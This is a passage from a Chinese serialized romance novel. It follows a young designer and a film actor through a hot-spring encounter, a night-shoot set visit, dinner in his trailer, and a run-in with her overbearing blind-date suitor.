“夭夭姐,我看网上说这家环境很好,我抢的元旦限购双人券,非常便宜!”赵蜜满脸炫耀。
读书的时候,冬天许夭夭经常跟同学去汤泉洗浴,里面暖和宽敞,还有很多娱乐设施,蒸蒸桑拿打打单机快乐似神仙,上班后过于繁忙已经很久没到过这种场所。
不过肆意的洗个热水澡确实能卸掉很多疲惫。
洗完后正在水果台挑水果吃的许夭夭脑袋一阵针扎似的剧痛,她竟然下意识的捂肚子,经常肠胃不适的她两秒后才惊觉是脑袋痛,后又捂头,水果没拿稳后又弯腰捡水果,滑稽的动作像跳了个大神。
地上翻滚了几圈的橘子被一双修长的手捡起来,指甲剪的很短,指尖微微泛着粉色,白皙的小臂青筋依稀可见。
“这么巧!”两人同时脱口而出。
但许夭夭惊觉自己声音大,连忙四下看了看。
念星辰似是刚刚洗完,头发并未完全吹干,似乎带着些氤氲的雾气。温泉馆的衣服男女都是短袖短裤,许夭夭从未见过念星辰穿这么少,少到她的目光不由自主的停在对方的锁骨处。
7. 洗浴吧
“你……”
两人又同时开口。
“你先说,”念星辰把橘子递给她。
“你怎么大摇大摆的出现在这里?”虽然温泉会馆人确实很少,但想到吃饭都要戴墨镜的人会赤条条的跟陌生人面对面许夭夭还是十分惊诧。
“不然我鬼鬼祟祟在这里?”瘦削的脸露出一丝玩味的笑容。
大概是被对方注意到了自己的眼神,许夭夭瞬间脸红到脖子根,“我不是这个意思,”正巧这时赵蜜从女士洗浴出来正一边理头发一边往这边走。
许夭夭下意识的抓起念星辰的手腕,“快走快走。”
水果饮料台连着休息区,但是一览无余的座椅沙发不但有人也无处可躲,许夭夭想也没想拉着念星辰躲进帐篷区。
这个温泉会所的敞篷休息区大概是给过夜的人设置的,有一些平躺的软塌,有人的敞篷是关闭的,有窃窃私语声,因为这片区域过道灯较暗,平添几分暧昧。
因为是慌不择路冲过来的,这氛围下许夭夭走也不是留也不是,“这里不太好,要不我们还是去座椅那边吧。”
看出了她的慌张,念星辰反倒不慌不忙的进了无人的敞篷,慵懒的坐在软塌上顺势拍了拍身边的位置挑眉。
“你好像比我还怕被人看到。”念星辰似笑非笑。
“你不知道办公室八卦的可怕!”
“还能有娱乐圈可怕?”
这时许夭夭手机上显示赵蜜来电。赵蜜可是公司出了名的八卦,要是被她看到念星辰……明天可能全世界都是她的花边新闻。
“我们出差来的,刚刚同事正在找我。”
“那你不接一下?”念星辰指了指还在跳跃的手机屏幕。
此刻要是接电话,除了六目相对,许夭夭想不出还有别的场面,她果断挂断,随即发了条正在厕所的消息。
帐篷的空间狭窄闭塞,加之室内温度高,许夭夭刚坐下手心额头就冒出了细密的汗珠,长这么大,她只有在穿开裆裤的年纪跟异性在这么‘玩’过。见对方仿佛很自在,但是许夭夭已经紧张到大气不敢喘。
自从上次跟念星辰吃过饭,两人在微信上只有寥寥片语,那个问题几乎每天都要从脑海里冒出来。
“所以你这是答应了吗?”念星辰突然靠近,温热的气息拂过。
许夭夭一转头,正好看到敞开的领口……此时此刻她都要惊叹自己不近视的眼睛,“答……答应……什么?”
“你说呢?”
当下的许夭夭有点懊恼,地儿是她选的,人是她拉来的,好巧不巧的有人的敞篷里传出不雅声。
“要不我们还是换个地方吧!”说罢她起身要走,被对方一把拽回,不偏不倚坐了个满怀。宽大的手掌扶肩,温热,淡淡的青草香,瞬间冲击许夭夭的大脑,心一下跳到嗓子眼。滚烫的脸颊,浓密睫毛,皆因颤动的心脏微微抖动。这时有两个路人经过,顺势往里瞧了一眼,指指点点的走开了。
被当作坐垫的人喉头涌动,干热的嗓子轻咳一声,愣了半晌的许夭夭条件反射似的弹跳,面带羞涩,坐到角落里,过了好一会儿才小声嘟囔,“你……喜欢……我吗?”
念星辰轻轻一笑,嘴角勾起一抹温柔的弧度,“当然。”<
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“喜欢什么?”许夭夭追问。
他缓缓眨动眼眸,神色中透出深邃的思考,“安静,有趣。”两个没什么关系的词,说出来念星辰自己也有些惊讶,转而又问,“你们出差什么时候回去。”
“明天晚上。”
“后天元旦放假吗?”
“应该放吧……”
“那你晚一天回去可以吗?”疑惑于他突然转换的话题,许夭夭眉头微蹙,脑海里……
“诚心邀请你去剧组探班。”
出乎意料的话,打断了许夭夭的假想,眼前这个从天而降的人总是会出乎意料……不过,对于男明星的剧组生活她也略带几分好奇。
“可是我不喜欢人多的地方……”许夭夭依旧小声嘀咕。
“那你去吗?”
“……去。”
两人从帐篷区出来的时候,许夭夭脸红的像烫熟了的苹果,眼神躲闪且四处观望,活像是干了什么坏事的样子。念星辰看到她小心翼翼的样子,突觉可爱,不自觉的笑意像寒空明月染上了温度。
许夭夭猛然一回头,四目相撞。那眼底分明是化不开的温柔。
“我先走了。”许夭夭逃也似的跑开了。
自助餐厅区,赵蜜正在大快朵颐的吃炸鸡块,看到许夭夭过来,一边往嘴里塞一边示意她一起。
“刚去厕所找你怎么没找到,你去哪了?”
”太热了,刚又去冲了一下。”许夭夭故作自然。
“那快吃点吧,我团购的这个券只有两个小时时间,现在只剩15分钟了。”
“啊??”
8. 探班吧
这一晚上的汤泉洗浴,洗的许夭夭魂不守舍的,直到晚上躺在床上,想起帐篷里的一幕,耳朵还是会涨红,温热的触感像在心里刮起了十级台风,手指尖都麻麻的。
但是连日熬夜的倦怠令她很快就进入了梦乡。
依然是一夜“好梦”,一些像连续剧般断断续续的画面。
是的,自从上次剧本围读之后,一向很少做梦的许夭夭跟中了什么魔咒似的,每天都要在梦中打卡,比上班还勤快,导致许多次早上醒来,精神不济,她一度想去医院查一下,是不是得了什么邪门的杂症。
新项目前期的踏勘非常耗费体力,虽然出差频繁的许夭夭早已习以为常,但是到饿着肚子在荒山野岭闲溜达搁谁谁也忍不了。
上午对接汇报完一大群人就在这荒村里转悠,此时已经一点了,甲方这边的领导还在兴致勃勃的指点江山,陈所和王胖子他们点头哈腰的附和,一副表演感非常重的崇拜嘴脸,说实话论起演技来,设计院的牛马个顶个的出彩。
手机叮咚有两条短消息,是念星辰:吃饭了吗,附带一张剧组的盒饭。
许夭夭肚子跟着咕咕叫了两声,顺势拍了一张长满草的废弃工厂。
“夭夭姐,刚陈所他们说这个位置要打造核心板块吗?”赵蜜正拿着一张白图,正认真的记录领导的阔论。
原本许夭夭也是拿着一张图的,但此刻图好像不知道哪去了,她只觉今天的太阳照的人天旋地转的……
“夭夭姐你怎么了!夭夭姐……”
非常丢人的许夭夭两眼一黑一头栽进了旁边的干草垛里。
十分钟后许夭夭被人搀扶着到来时坐的中巴车上,王胖子一脸嫌弃的递给她一瓶水,盖子已然打开,也不知道是喝过的还是刚打开的,吃了赵蜜随身携带的一块糖后她已经好多了。
干他们这一行的整天不是上山进村就是下工地,饭点更是没有的,想当年许夭夭在学校还能参加体育项目,上班不过三四年时间,工作能力和身体素质也形成了鲜明的反比。
许夭夭这一晕给领导的滔滔不绝画上了句号,领导终于意识到该吃午饭了。
“夭夭姐平时低血糖吗?该不会是昨天被我拉去泡汤感冒了吧,最近流感挺严重的,”赵蜜关切的眼神中掺杂着不易察觉的懊悔。
脸色苍白的许夭夭扯出一丝干笑,“应该不至于,可能最近太累了,早饭不是没来及吃嘛。”
不过,晕有晕的好处,下午王胖子给她放假了。
已经连续上班好多天,突然多了半天的假期,从天而降的幸福令午后浅歇的许夭夭沉沉的睡着了。
再次醒来的时候已经华灯初上,因为提前跟赵蜜说了今晚不走,他们早都已经上了回申城的车。
手机上有数条消息,两个小时前念星辰给她发了司机会来接她。
果然有一个未接来电。
剧组倒是不远,但是现在已经下午六点,冬日的夜总是早早降临,现在去了晚上要几点才能回来。
正犹豫的时候念星辰来电。
“喂……”
“夭夭,司机师傅接上你了吗?”每次念星辰喊夭夭两个字,许夭夭都有一种异样的情愫,仿佛喊的不是她。
“还没…刚要给他回电话,今晚去剧组吗?”
“临时改了通告,今天要拍夜戏一整夜,明天可能就没办法陪你逛片场了,正好来尝尝剧组的盒饭……”电话那头一阵嘈杂声打断了正在说话的念星辰,对讲机刺耳的声音冲破手机屏幕。
司机师傅还是上次那个沉默寡言的中年男子,见到许夭夭笑吟吟的,还给她准备了水和零食,意外的贴心,让局促不安的许夭夭放松了许多。
剧组确实很近,开车只用了一刻钟时间。
虽然是大型的影视拍摄基地,入口却简单的像工地门头,里面更像是建设粗糙的风景区,唯有路灯□□明亮,大概还有其他剧组,走一段就会有一些车辆和人群。
车在一个类似门牌楼的位置停下,一个胖乎乎的男生呼哧带喘的跑过来。
“许小姐吗?你好你好,我是念哥的助理周荡,您叫我小周就好,念哥他这会儿在拍了,稍等两分钟送糕点的车就来了,就说您探班给大家买的糕点哈。”他笑眯眯的眼睛拉成一条缝。
果然没一会儿来了个面包车,满满一车刚做的小蛋糕,还有两大桶热奶茶。
设计师对于人情世故这一块脑袋还是锈逗的很,许夭夭以为的探班就是来看两眼念星辰,所以她两手空空的就来了,很显然念星辰也知道她不懂探班。
周荡安排糕点店的人把东西搬到靠近剧组拍摄场地的桌子上,桌子附近似乎还摆了一堆鲜花,许夭夭扫了一眼大部分是给念星辰的,还有一些是吴兮的。
糕点和奶茶摆好后,周荡顺手把一个荧光的牌子立在桌子边,上面写着:感谢逃芷老师请大家吃饭前甜点。
虽然是顺理成章,但……许夭夭抓了抓头皮,总觉得哪里不对。
大概没想道许夭夭会来,导演组的无人注意到她,此刻项导正拿着对讲机忙的不可开交,摄像和灯光对着桥头的一袭白衣,扑朔的灯火把上了妆的念星辰照的美如冠玉,他腰线流畅,神色冷淡,眉眼低垂,领口金丝绣纹闪着盈盈微光,美的不像真人。虽然昨晚见了‘去皮’的念星辰并不觉得有什么变化,但穿上古装似乎比前些天瘦了些,长发乌黑被寒风撩起几丝,竟让人有些怜惜。
随着摄像机的移动,从天而降玄衣束身的吴兮,长发挽起,周身都是肃杀之气,一双弯月刀别于腰间,与女主角斩月本人完美契合。
许夭夭看的有些出神,都没注意周荡递过来的奶茶。
“许姐,念哥说你到了就先到房车等他,拍完这条估计会放饭。”
“没事,我在这里等等就好。”许夭夭缩了缩脖子,夜晚的风确实有些刺骨。
见许夭夭还站在原地,周荡便引她到旁边建议搭棚处休息,另外一个助理模样的小伙子跟着周荡热情的拿了一把折叠椅过来,“许姐坐。”
同在歇息区候场的还有披着羽绒服的女二赵君君,是世家小姐的装扮,她扫了一
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眼许夭夭。身后站着一言不发的助理小姑娘,唯唯诺诺的眼神好似有些委屈,虽有空着的座椅也不坐下。
想起姜辞晚对赵君君可爱可亲可温柔的描述,许夭夭下意识的抬手想打个招呼,但视线未触及对面已及时低头看起手机,徒留她半空中尴尬的举手。
此时片场营造氛围的鼓风机吹起来了,漫天的黄叶飞沙吹了许夭夭一脑袋,她眯着双眼,看到了两根绳索吊着的女主刚毅果决的招式,简直跟她小说中写的一模一样。
虽吃了一嘴的土,但还是忍不住感叹,打戏真好。
男主也有简单的动作戏,导演喊停,妆造的两个女孩子立马围上去给念星辰补妆整理服饰,鼓风机把片场的温度又降低了几分,身着单衣的念星辰也忍不住抖了几下。
许夭夭不爱在冬天穿秋裤,虽说这里不似北方那般严寒,但是入夜后在户外很快就冻透了,手中的奶茶也没了温度,她也站起来哆哆嗦嗦晃了几下。
好在这一条拍摄很快结束了,场务的工作人员上前收东西,被地上的线路绊了一脚,路过的念星辰及时扶住,流畅的转身引得远处几个群演小姑娘言语窃窃,灰头土脸的面容带着几丝羞赧。
这一幕的场景仿佛有些熟悉,但又找不出熟悉的点在哪里。许夭夭又开始抓头皮,最近大概是用脑太多了,总忍不住想拔苗助长一下。
那袭白衣已经直奔许夭夭而来,一改方才的冷淡,嘴角止不住的笑容跟这身装扮有些违和。
大概是看到念星辰过来了,低头玩手机的赵君君突然来了热情,“无一哥戏真好呀,”声音软软糯糯的。
念星辰冲她微笑点头,继而走到许夭夭身边,“来啦,在这站着太冷了,先去房车里面吧,我跟导演再交流一下。”
许夭夭抿嘴摇头,”还好,不就是来看你们演戏的嘛。”
赵君君已经挪到两人身边,“谢谢逃芷姐姐来探班送温暖哦,”突如其来的变脸让许夭夭有些不知所措。
“……不客气,”内向的人最怕别人莫名热情。
“逃芷姐姐跟无一哥很熟呀,是朋友吗?”赵君君一双无辜的大眼睛望着她。
许夭夭嘴角一抖,“…算是…”
正巧导演制片一群人拥簇着吴兮往这边走了,最令人头痛的交际场面又来了。
似是是看出她的局促,念星辰眉毛微挑,靠近她悄悄说:“先去车上等我。”
圆润的周荡神不知鬼不觉的探头,“预定的饭到了,许姐我们先走吧。”他冲许夭夭一个劲儿的眨巴眼。
许夭夭虽不明所以还是趋步跟上。
夜戏的片场比白天更加嘈杂,头顶的大灯照出了每个忙碌的身影。离开人群了许夭夭才疑惑地问:“刚才是怎么了吗?”
周荡耸耸肩,“没什么呀许姐,你不是也不想跟赵君君聊天吗。”
许夭夭满脸的问号,“我有吗?赵君君她怎么了?”
“哎呀没事儿,”周荡欲言又止的挤出一丝笑容,“前面就是念哥的房车,您先上去等着,我跟刘海去取饭。”
9. 房车吧
顺着周荡指的方向摆了一排三四辆房车,念星辰的在最后一个,看起来似乎比其他的更长一些,许夭夭还是第一次进房车,里面温暖明亮,沙发上随意放了几件男士衣服,卡座桌子上除了写写画画的剧本还有些杂物。
雄壮的保镖大哥给许夭夭开门顺便取了件衣服就消失了,徒留第一次进别人家门蹑手蹑脚的许夭夭。她默默的在卡座的沙发上坐下翻开剧本,上面全是记号笔的痕迹。车里大概空调太足,没坐了一会儿许夭夭就热了,门口的水电控制面板忽闪忽闪,她探究似的触摸两下,瞬间灯全灭了。
车内一片漆黑,只剩窗外微弱的路灯被切割的一条条光影打在沙发上。慌乱中她连忙掏出手机想照亮一下,这时车外传来刻意压低的争吵声。
“之前说好了的!为什么!什么都让我去做!为什么永远是我……”
是一个女孩子的嗓音。
房车停放的位置侧面有很长一条绿化带,植物稀稀拉拉的虽有遮挡作用但基本不隔音,渐渐的声音似乎往这边靠了一些,还有一个低沉的男音,但有些过于低沉了,说的什么内容完全听不清。
许夭夭也无意听别人墙角,她刚想开灯,突然“念五一”三个字生生止住了她开灯的手。她做贼似的悄悄的贴近车门那边,微弱的视线下,似有两个人影攒动,好巧不巧手机来电突然划破黑不隆咚的房车空间,紧跟着声控灯像被电击般全部被唤醒。
从漆黑到光亮如昼,许夭夭无语的望着声控灯过了两秒才慌忙接电话。
电话那头是赵蜜急迫的声音,让她看工作群。
因为毫无私人空间的工作状态,许夭夭把大部分工作群都设置了静音,不点开都不知道有上百条的工作消息。
果然又是王胖子为了谄媚甲方且跟领导邀功给他们组揽了一堆烂摊子。明天是元旦假期,这任务只给了三天时间,看着王胖子满屏的‘没问题’,许夭夭气不打一处来。
他们组加上王胖子总共五个人,有一个外派到项目驻地去了,赵蜜和小刘都是刚工作没一两年的新人,收拾烂摊子这种事他们也只有配合的份儿,王胖子从来不干活,那就只剩在这漏风的设计院浸润稍长的许夭夭了。
见许夭夭一直不发言,赵蜜又私信她说,傍晚回程的时候听到王胖子跟其他同事蛐蛐她,说是她怕不是为了去听苏物的讲座装病的,还说怀疑她要跳槽,该不会是故意整一堆活……
也难怪,许夭夭一直是设计院‘铁人三项’的佼佼者,熬夜、出差、擦屁股个个干的顺手,甚少请假,只有上次发烧破例请过一次,平时就算熬夜到凌晨第二天早上依旧是精神饱满的出现在公司。
看到群里王胖子边夸夸其谈边艾特她,许夭夭脑子里冒出八百字的问候语。
回复的对话框里打了几行字,她思虑片刻又删掉,最终先回复赵蜜:一会儿我去协商。
明天就是元旦了,影视基地虽靠近郊区,依然能在半空中看到零星的几丝烟花,星光乍现,却丝毫没有惊动房车里来回踱步的许夭夭。
跟王胖子交涉简直是斗智斗勇,等她挂完电话人跟泄了气的皮球似的,精气神瞬间减半。
这时才想起刚才偷听的动作,现在车内灯火通明,映的草丛后面漆黑一片,那两个鬼鬼祟祟的人影大概早已经走了。
只是那个女生的声音……很像赵君君,但她不是在片场那边候场吗。
百思不得其解。
这时房车门开了,周荡和刘海提了两个巨大的保温袋上来,他们两个一个是生活助理一个是工作助理。
见许夭夭傻愣愣的站在那,周荡热情的喊她坐下。
刘海名副其实是个有斜刘海的男生,上次围读见过一次,相较周荡来说沉默寡言的,对许夭夭沉闷的喊了声许姐,表示打招呼了。
保温袋一包是精致日料,一包是烤串,不算宽敞的卡座四人桌被周荡摆了满满一桌子,烤串的香气在逼仄的空间盘旋,勾的许夭夭开始吞口水。
“许姐,你先坐一会儿,我们去接一下念哥。”周荡麻利的摆好后准备下车。
刚好跟健步而来的念星辰撞了个满怀,圆溜溜的周荡差点把一条腿迈上车的念星辰顶出去。
身穿剧中服装的念星辰像冬夜里的皎月寒光,忽一下飘了上来,“不好意思,久等了,”他看向许夭夭的眼神带着一丝不易察觉的歉意。
虽是等了一会儿,但也并没有什么不妥,许夭夭抿嘴莞尔一笑,“没事的呀,我来耽误你们拍戏才是不好意思。”
因为夜里还有大戏,念星辰装扮未减,只是拿纸随意擦了一下杏色的口红。
许夭夭做梦也没想到自己会坐在一个男明星的房车里吃晚饭,原本刘海也顺势坐下的,周荡挤眉弄眼了片刻,两人拿了两盒饭就出去了。
“情况特殊,也只能将就吃一吃了,”念星辰把一盒卖相非常好的鳗鱼饭摆到许夭夭面前。
早已被饭香迷了双眼的许夭夭不客气的拿起筷子,“你怎么知道我喜欢吃鳗鱼饭。”
“我看你在社交账号上经常发,应该是比较喜欢吧,据说这家店评分很高,尝尝。”
许夭夭夹了一块放进嘴里,松软不腻,入口即化,“怎么还偷偷关注别人。”
“怎么只能你看我的,不能我看你的吗?”
“你怎么知道我经常看你的……”
念星辰不缓不慢的喝了口浓茶,嘴角不自觉上扬。
”……你炸我!!”
许夭夭想起前些天网上浏览的关于念星辰的信息,很多粉丝对他的评价都是面冷心更冷,不玩梗更不善言辞,甚至社交账号上除了品牌推广剧宣就是公益,连线下采访都非常少,无绯闻无黑料,近两三年更是任何私人活动都捕捉不到,寥寥无几的粉丝围堵盛况至今无人超越,他早先的作品已经被真爱粉盘出浆了。
但,就目前接触来看,现实中的和镜头里的仿佛不是一个人,他温润有礼,事事周全,乐于助人,虽话……也不少,只是他这样一个才华出众能力出众样貌更加出众的人为什么会喜欢自己。
许夭夭越想饭扒拉的越快,转眼功夫,一盒饭已经见底。
“慢点吃,别噎着,还有。”念星辰说完把另外一盒鳗鱼饭也推到许夭夭面前,而他手边的沙拉拌草只是吃了一小半。
“你喜欢我什么?”
被许夭夭无厘头的发问镇住,勾着筷子的手有所迟疑,骨节处似乎因为用力而渐渐发白。
“我周围的人大多要么家底雄厚一身纨绔,要么算计满身不惜一切代价向上爬,
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尤其娱乐圈这个地方多的是人前笑意盈盈扮好人,背后阴谋诡计一箩筐,毕竟演戏嘛,戏都不嫌多。但是你不一样,你身上有一种松弛感,就连努力的时候都带着松弛,令人心安,并且……”
“并且什么?”许夭夭追问。
念星辰撩了一下假发套的长发,嘴角带笑,“我看过你写的书非常好,日后准能成为家喻户晓的大作家。”
许夭夭鼻腔里发出呵呵两声,不觉腹诽,我信你个鬼。
“借你吉言了。”
“相信我,日后你一定会有所成。不然我也不会来演男主角。”
“所以你是押宝来了?”
着了妆的五官眼眸更佳深邃,他眉毛微挑,似能洞察人心一般,“我的眼光一向不错。”
眼看对方没怎么吃,许夭夭抓起两根烤串递给他,“多吃点,我的男主角可不是皮包骨。”
“你觉得我皮包骨?”念星辰盯着她靠近几分。
带着一些户外干草的气息扑面而来,许夭夭下意识的躲闪,但脑海里又蹦出昨晚汤泉馆的情形,耳根子不觉有点热。
”你……好好吃饭。”
“既然作者发话了,那我吃点。”他两根肉串一起咬下去。
“对了,不工作的时候你有什么爱好吗?”
“洗澡算不算?”
“……?”
似是想到了什么,念星辰的神色有些发怔,周身的气压像刮过的冷空气逐渐降了下去,“最近的空闲时间可能是在图书馆吧。”
只是因美食而陶醉的许夭夭仿佛并未察觉,继续说道:“那你还挺爱学习的,对了,你有带电脑吗,能不能借我用一下。”
“一会儿你问周荡要一下。”
因晚饭时间只有一小时,念星辰匆匆吃完又去拍夜戏去了,只是他看了一眼拿笔记本电脑的许夭夭,有些欲言又止的样子。
一个靠谱的牛马就是无论何时何地何种境遇都能从容不迫的改方案,令她没想到的是念星辰的电脑上居然软件很全,只是这电脑空的毫无使用痕迹。
虽然跟王胖子协商后,工作量有所缩减,但是放假三天她要去趟爷爷奶奶家,固定的阖家团聚时刻要是带着工作,不知道要挨多少训。
许夭夭不爱热闹,所以跨年这种狂欢从来跟她也没什么关系,他们的工作小群里赵蜜还在唉声叹气,因为不能跟朋友出去玩而愤恨。许夭夭只好安慰她加快速度,没准儿能在零点前冲出去呢。
「夭夭姐你现在在哪呢,怎么还能有电脑,不会进网吧了吧?」
「万一是哪个男朋友的呢?」
「小刘你怎么回事,快点发我图……」
手指在键盘上乱飞的许夭夭,根本无心他们的打趣,只想快点做完。
除了改图还有一些策划案的校对工作,她伏案盯着电脑屏幕不一会儿居然有些犯困,明明睡了一下午,或许是房车里闷热的环境,突觉嗓子也有些干,她拿纸杯倒了一点茶水桌上的茶。
又苦又涩。
倒茶的空隙,她顺势开了一点窗户,寒风肆意流窜,但皎月当空,还有远处的星星点点,只是有些忽明忽暗的,也不似烟火。
但苦茶不过支撑了片刻,没多久许夭夭觉得眼皮打架,想眯一会儿……
10. 男朋友
凌晨三点。
卸完妆的念星辰带着鸭舌帽和口罩跟周荡他们一起往房车方向走,拍了大半夜的戏,每个人的脸上都尽显疲惫。
房车的灯亮着,许夭夭趴在卡座的桌子上,细密的睫毛紧阖,睡的昏天黑地,旁边放着已经黑屏的电脑和偶尔闪烁的手机仿佛也跟着进入了梦乡。
念星辰扫了一眼喝过茶的纸杯,发出细微的叹气。
周荡拿起纸杯闻了闻,“念哥,许姐把你的助眠茶给喝了……”
大概也是没想到助眠茶的功效在许夭夭身上得到了极致的发挥,念星辰摘了帽子搓一把炸毛的头发。户外夜戏打戏,天时地利人和,念星辰原本是私心想测试一下这个循环是否跟趴在桌上的人有关,但是清风明月呼呼大睡,无事发生。
只是有些画面一旦在脑海里生根,就像受了滋养的藤蔓开始疯狂蔓延。
“许姐许姐,醒醒!”
周荡刚用力摇了一下许夭夭就被念星辰制止,他压低嗓音,“你先去喊王师傅开车过来。”
许夭夭这一觉睡的特别沉,比几年前做一个小手术全麻的麻药还沉,以至于她醒过来的时候有些恍惚,熟悉而又亲切的感觉就像在自己家里。
但仅仅几秒后她恢复清醒,才发觉在房车上,一个炸毛的狮子头正微微俯首目不转睛的望着她。
“我怎么睡着了……”
念星辰指了指桌上的杯子,“这助眠茶的商家应该没骗我。”
“完了完了,方案还没做完……”回魂的许夭夭立马拿起手机,99+的消息漫天飞雪般冲进脑壳。
索性都是两个小时之前的消息了,这么晚了怕是网线另外几头也没人等她了。
“新年快乐!”念星辰冷不丁的冒出一句,把信息海里的许夭夭拉回现实。
“哦对,过零点了。”因为方才的慌乱和睡塌了的发型,许夭夭看起来人有些呆呆的可爱,不过她转而就换上笑脸,“新年快乐!恭喜发财。”
对于她一秒变脸,念星辰怔住了怔,佯装摸口袋,“我红包呢…”张扬飞翘的短发跟着他的动作来回晃动,略显滑稽。
大概习惯了他平时的一本正经,突然打趣,让有些朦胧惺忪的许夭夭瞬间来了精神,她忍俊不禁,缓缓伸出手掌……
“今天没带,下次补上。”
“逗你的,你给我我还得回礼呢。”
念星辰换了沙发上的厚外套,顺嘴说道:“男朋友用回什么礼。”
男朋友三个字把两人都拉回一直尬在荆棘丛的情感氛围中。
过了大概三秒,许夭夭站起来,手抬起又放下,乱中无序的整理了一通电脑,“……我明天再还你电脑可以吗?”
“没事,你用,那先送你回酒店吧。”
新的一年,凌晨三点钟,一点也不寂静的夜,车子路过闹市区,马路上或三三两两或东倒西歪的人,大约是跨年活动结束还逗留在外的年轻人。
许夭夭望着窗外的霓虹,若是有所思。
好在酒店很快就到了,凌晨的风似是刮的更凛冽,进房间后许夭夭已经困意全无。往常她睡眠质量好的时候,只睡四五个小时第二天也能精神百倍,看来是助眠茶效果太好,此刻她感觉耳聪目明头脑清晰,就连刚刚焦头烂额的创意理念也有了新头绪。
果不其然,半天的工作量在鱼肚泛白的清晨大功告成。
只是还需要赵蜜和小刘那边二度修改的资料,她把工作成果发给赵蜜满意的合上电脑。
已接近早上六点,肚子咕咕咕,手机叮铃铃。
看到来电显示后肚子叫的更响了。
许夭夭感觉方有知这个人就是上天派来折磨她的,先不说每次长篇大论的消息轰炸,他诈尸的时间点从来都是出其不意别出心裁。
放假,早上五点五十……
在手机铃声响了两轮后,许夭夭无奈接通。
方有知:”元旦快乐夭夭,没想到你也起这么早,听说你也在灵水,咱俩还真是有缘,我正好也在!不过我有点忙,可以抽空来找你,你发位置给我,对了还没吃早饭吧……”
许夭夭举着电话的手因为逐渐用力而关节泛白,她深吸一口气,“方先生!上次我已经跟您讲的很清楚了,咱们不合适,你别天天给我发消息打电话了”。
作为一个不善交际的宅女,许夭夭不太会拒绝人,所以即便是工作中她也经常莫名其妙干一些不属于自己的工作。凌晨高强度的工作已经把身体的能量耗尽,此刻她虽严肃,说话语气却软绵绵。
电话那头似是并未生气,反而有些轻松:“我懂我懂,你们女生就爱口是心非,是不是现在有点太早了,那我晚一点再过来……”
酒店的早餐七点才开始,挂了电话的许夭夭想先烧点热水喝,但是刚站起来感觉天旋地转。也是奇了怪了,最近这一个多月身体突然变得时好时坏,比过山车还激荡,仿佛换了个躯壳似的。
她干脆躺在床上想再睡会儿,睡之前顺手设置了手机免打扰模式。
这一躺,眼皮像坠了千斤巨石,身体瞬间跌入一道无底深涧,不着边际,光亮减弱,脑海里开始出现一些似是而非的画面,陌生又熟悉,慢慢的意识开始模糊,直至黑暗。
不知过了多久,刺耳的铃声在上空拉响,深涧消散,许夭夭猛然从梦中惊醒。
是床头的座机响了。
“喂……”
“许小姐您好,请问您今天是续住还是退房?”
许夭夭摸到手机扫了一眼,居然已经下午一点了。
“退房退房。”
原本的计划今天傍晚要赶车回家,爸妈知道她出差了把家庭聚餐日定在了明天,这会儿都下午了,不知道念星辰醒了没。
收拾完,许夭夭顺手提起电脑下楼。
出差住的是连锁的快捷酒店,大厅的角落里放着一组灰绿色的沙发,与喷射生长的盆栽绿植几乎融为一体,是一处非常隐蔽的休闲等待区。
空无一人的大厅,只有沙发处坐着身穿浅卡其外套休闲牛仔裤的男生,黑色的毛线帽和口罩几乎遮了全脸,腿上搭着一条黑色围巾,他低着头正全神贯注的看手机。
现在的许夭夭已经练就一副火眼金睛,怕是对方戴上墨镜她也能一眼认出来。
“你来了怎么不喊我呀?”厚重的双肩包也未压住雀跃的步伐,许夭夭的脸上不自觉泛起笑意。
“怕影响你休息,想等你醒了再喊你。”
“今天不
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用去片场吗?”
“这两天都是夜戏,下午五点集合。”
“谢谢你的电脑,”许夭夭把笔记本递给念星辰。
对方接过电脑的同时,顺手卸走了她背上的双肩包,自然的搭在自己肩上,粉色分双肩包有些醒目,却又不违和。
“饿不饿,我们先去吃饭吧。”
听到吃饭二字,许夭夭突然想笑,“我们见的次数不多,吃的饭不少。”
念星辰微微挑眉,“民以食为天,对了我有个朋友想见你。”
许夭夭狐疑的望向他,脑海里立马浮现出在石水吃饭时那个着装精致的青年男子,那种气场仿佛与许夭夭之间有种无形的结界,“你的朋友,见我?为什么呀?”
“大概是好奇吧。”
“可是我今天就得回去了,明天要去爷爷奶奶家。”
两人边走边说,出了酒店大门,刺眼的阳光洒满全身,许夭夭眯起双眼,念星辰戴上了墨镜。
见两人出来,门口不远处王师傅早已把车门打开。
就在离商务车还有几步远的时候,扑面而来的一堵黑墙给许夭夭吓一激灵。
当然首先映入眼帘的是增光瓦亮的油头和白白胖胖的圆脸。
不过也多亏了他这独树一帜的气质和形象,不然一向脸盲的许夭夭还没反应过来。
“夭夭,总算找到你了!给你打电话你怎么不接啊!”方有知似是跑了很久,大冬天一脑门的汗,显得光溜溜的额头又明亮几分。
都怪这一觉睡的太久,着急退房,许夭夭还没来得及看手机消息,被勿扰模式阻挡在外的有20个未接来电,18个是方有知的。
”不好意思,太累睡着了没听到,你……这么急是有什么事吗?”
“阿姨只告诉我是这个快捷酒店也没告诉我具体位置,我跑了三家,幸好找到了……”方有知一边呼哧带喘的一边擦汗。
”早上不是说了不用……”
“我知道你们女的就爱口是心非,我听阿姨说你一个人在这边出差,我这正好这几天也在,有事可以照顾一下,不过你这手机为什么老接不到电话,是不是得换一个!”片刻之后,他终于平复喘息,方才看到站在许夭夭旁边的念星辰,“这位是?”
“这是我朋友。”
包的严丝合缝的念星辰完全看不出表情,他微微动了一下似是打了个招呼。
倒是方有知毫不避讳,从上到下跟扫描仪似的,眼神中透露出一丝不满,“你不是出差吗,怎么见上朋友了,那你下午不用工作了吧,要不我带你去转转,刚借了个小电驴,灵水我熟。”
许夭夭真的难以理解,明明是只见过一面的人,是怎么把自己定位到熟人里的,不客气的程度完全不亚于姜辞晚。
“方先生,咱们第一次见面当天我就讲清楚了,你没必要再这样,一会儿我要跟朋友去吃饭,就先不跟你一起了。”
“什么意思?你单独跟他吃饭?就你们两个人不太好吧,你们是同学还是同事?还有大冬天的你穿的露着脖子露着腿的,着装也不知道注意一下。”
许夭夭低头看了一眼腿上的棉裤袜嘴角不由的抖动,刚想开口,矗立在侧的念星辰上前一步,“我是她男朋友。”
11. 暴露了
“男朋友”三个字应该是什么助燃剂,眼看着方有知横的很□□的头发竖起来了,批判的话即将脱口而出。
念星辰拉着许夭夭迅速上了车。
王师傅似乎也心领神会,车像脱口的子弹,划入奔流的街道。
见方有知是许夭夭第一次相亲,既没吃过猪肉也没见过猪跑,她实在难以理解方有知的种种行为,她甚至觉得是不是介绍的人给她妈妈灌了什么迷魂汤。
车内安静的能听到心跳声,良久,念星辰开口:“你宁愿去相亲,也不愿意答应我?”
